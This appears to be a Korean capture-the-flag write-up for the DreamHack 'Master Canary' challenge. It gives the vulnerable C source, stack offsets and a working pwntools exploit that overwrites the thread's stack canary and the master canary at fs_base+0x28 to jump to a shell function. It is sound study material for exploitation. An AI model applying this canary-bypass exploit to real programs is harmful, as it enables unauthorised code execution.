Hacking/DreamHack
Master Canary
SurTesterS
2024. 8. 13. 22:28
보호기법 확인
NX, Canary Enable 되어 있음
코드 확인
// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void read_bytes(char *buf, int size) {
int i;
for (i = 0; i < size; i++)
if (read(0, buf + i*8, 8) < 8)
return;
}
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(buf, size);
}
int main() {
pthread_t thread_t;
init();
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}
giveshell 함수를 이용할 것으로 보이며, 이 함수로 RIP를 조작하여 셸을 얻을 수 있을 것으로 보인다.
main 함수에서는 thread_routine 함수를 실행하는 새로운 스레드를 생성한다.
디버깅 수행
read_bytes buf 배열의 시작 주소는 rbp-0x110 이다.
스택 카나리는 rbp 다음에 8byte push 되므로, 상대적인 오프셋은 rbp-0x108 이다.
버퍼의 시작주소는 0x7ffff7dc6dc0이며,
canary 값은 fs세그먼트의 +0x28의 값을 복사해온다. 위와 같다.
결론
fs_base+0x28의 값과 현재 rbp위에 push된 canary의 값을 덮어주고, RIP에 giveshell의 주소를 넣으면 셸을 얻을 수 있다.
Exploit Code
# Name: mc_thread.py
from pwn import *
context.log_level='debug'
#p = remote('host3.dreamhack.games', 13324)
p = process("./mc_thread")
e = ELF('./mc_thread')
giveshell = e.sym['giveshell']
#print(hex(giveshell))
payload = b"A"*264
payload += b"A"*8 # canary
payload += b"B"*8
payload += p64(giveshell)
payload += b"A"*(0x928-len(payload))
payload += p64(0x4141414141414141) # master canary
inp_sz = len(payload)
p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)
p.interactive()